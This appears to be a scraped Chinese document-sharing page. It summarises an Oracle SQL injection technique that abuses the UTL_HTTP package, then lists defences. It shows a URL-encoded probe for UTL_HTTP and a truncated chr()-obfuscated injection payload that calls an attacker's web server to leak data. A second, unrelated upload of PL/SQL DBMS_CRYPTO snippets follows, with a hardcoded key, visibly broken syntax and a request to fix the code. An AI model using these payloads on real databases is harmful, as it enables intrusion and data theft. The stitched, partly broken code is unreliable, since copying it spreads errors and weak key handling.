Oracle注入攻击:利用UTL_HTTP进行Web探测

需积分: 12 7 下载量 134 浏览量 更新于2024-09-07 收藏 268KB DOC 举报
"Oracle数据库中的UTL_HTTP包被用于执行HTTP请求,这在某些情况下可能导致安全问题,特别是当数据库权限没有得到适当控制时。这个文档似乎讨论了一种Oracle注入攻击技术,利用了UTL_HTTP包来实现远程命令执行或数据泄露。攻击者可能通过构造特定的SQL查询来检查UTL_HTTP包是否存在,并利用它来与外部服务器通信,例如发送HTTP请求到攻击者的Web服务器,从而获取敏感信息或执行恶意操作。" Oracle的UTL_HTTP是数据库内置的实用程序包,它允许PL/SQL程序发起HTTP请求,包括GET和POST方法,用于从Web服务器获取数据或者与Web服务进行交互。然而,如果数据库用户具有足够的权限来调用此包,且应用程序没有对输入进行适当的验证,那么就可能成为SQL注入攻击的目标。 在描述的示例中,攻击者首先尝试验证UTL_HTTP包是否可用,通过在URL中插入一个SQL查询,如下所示: ``` and%20(select%20count(*)%20from%20all_objects%20where%20object_name='UTL_HTTP')>0-- ``` 如果查询返回结果大于0,表示UTL_HTTP包存在于数据库中。接下来,攻击者可能会使用UTL_HTTP包发起HTTP请求到攻击者控制的服务器,如下面的URL片段所示: ``` chr(91)%20in%20(select%20utl_http.request(chr(104)%7C%7C...%7C%7Cchr(112)%7C%7Cchr(114)%7C%7Cchr(111)%7C%7Cchr(100)%7C%7Cchr(117)%7C%7Cchr(99)%7C%7Cchr(116)%7C%7Cchr(47)%7C%7Cchr(111)%7C%7Cchr(114)%7C%7Cchr(97)%7C%7Cchr(99)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(95)%7C%7Cchr(100)%7C%7Cchr(97)%7C%7Cchr(116)%7C%7Cchr(97)%7C%7Cchr(46)%7C%7Cchr(112)%7C%7Cchr(104)%7C%7Cchr(112)%7C%7Cchr(63)%7C%7Cchr(105)%7C%7Cchr(100)%7C%7Cchr(61)%7C%7C... ``` 这个URL编码的字符串解码后是一个完整的HTTP请求,目标是攻击者的Web服务器,其中可能包含了进一步的攻击指令或信息窃取。 这种攻击方式被称为“注入提权”,因为攻击者能够利用数据库的内部功能(UTL_HTTP)来提升他们的权限,执行他们原本不具备执行的操作,例如下载数据库中的数据,执行操作系统命令,或者向其他系统传播恶意代码。 防御此类攻击的方法主要包括: 1. 限制对UTL_HTTP等敏感包的访问:只有特定的、可信的用户或角色应该被允许使用这些包。 2. 输入验证:确保应用程序对所有输入进行严格的验证和过滤,避免SQL注入攻击的发生。 3. 使用参数化查询或存储过程:这可以减少直接将用户输入转化为SQL语句的风险。 4. 定期更新和打补丁:保持数据库系统的最新状态,修复已知的安全漏洞。 5. 监控和审计:定期检查数据库的活动,以便及时发现并响应异常行为。 理解并防止Oracle UTL_HTTP注入攻击是保护数据库安全的关键。正确配置权限、实施有效的输入验证和持续监控都是防范此类攻击的有效手段。
2023-05-26 上传

grant execute on dbms_crypto to system; declare input_string VARCHAR2 (200) := 'Secret Message'; output_string VARCHAR2(2000); encrypted_raw RAW(2000); decrypted_raw RAW(2000); num_key_bytes NUMBER := 256/8; key_bytes_raw RAW(32); encryption_type PLS_INTEGER := DBMS_CRYPTO.ENCRYPT_AES256 + DBMS_CRYPTO.CHAIN_CBC + DBMS_CRYPTO.PAD_PKCS5; begin DBMS_OUTPUT.PUT_LINE(input_string); key_bytes_raw := DBMS_CRYPTO.RANDOMBYTES(num_key_bytes); encrypted_raw := DBMS_CRYPTO.ENCRYPT ( src => UTL_I18N.STRING_TO_RAW(input_string, 'AL32UTF8'), typ => encryption_type, key => key_bytes_raw ); decrypted_raw := DBMS_CRYPTO.DECRYPT ( src => encrypted_raw, typ => encryption_type, key => key_bytes_raw ); output_string := UTL_I18N.RAW_TO_CHAR(decrypted_raw, 'AL32UTF8'); DBMS_OUTPUT.PUT_LINE(output_string); end; declare l_src_data varchar2(20); l_type pls_integer :=DBMS_CRYPTO.ENCRYPT_AES128 + DBMS_CRYPTO.CHAIN_CBC + DBMS_CRYPTO.PAD_PKCS5; l_key varchar2(20) :='0123456789123456'; l_encval raw(2000); CURSOR secret_cursor IS select phonenumber from customer; begin OPEN secret_cursor; LOOP FETCH secret_cursor INTO l_src_data; l_encval :=dbms_crypto.encrypt( src=>utl_i18n.string_to_raw(l_src_data,'AL32UTF8'), typ=>l_type, key=>utl_i18n.string_to_raw(l_key,'AL32UTF8')); DBMS_OUTPUT.PUT_LINE (l_encval); EXIT WHEN secret_cursor%NOTFOUND; END LOOP; CLOSE secret_cursor; end; declare ;_src_data row(100) :=hextoraw("190248129038903853275ijdkvjkad'); l_type pls_integer :=dbms_crypto.encrypt_aes128+ + DBMS_CRYPTO.CHAIN_CBC + DBMS_CRYPTO.PAD_PKCS5; l_key varchar2(20) :='0123456789123456'; l_decval raw(200); begin l_decval :=dbms_crypto.decrypt( src=>l_src_data, typ=>l_type, key=>utl_i18n.string_to_raw(l_key,'AL32UTF8')); end; SELECT Price FROM PRODUCT WHERE ProductID = 5;修正这一段代码

2023-05-26 上传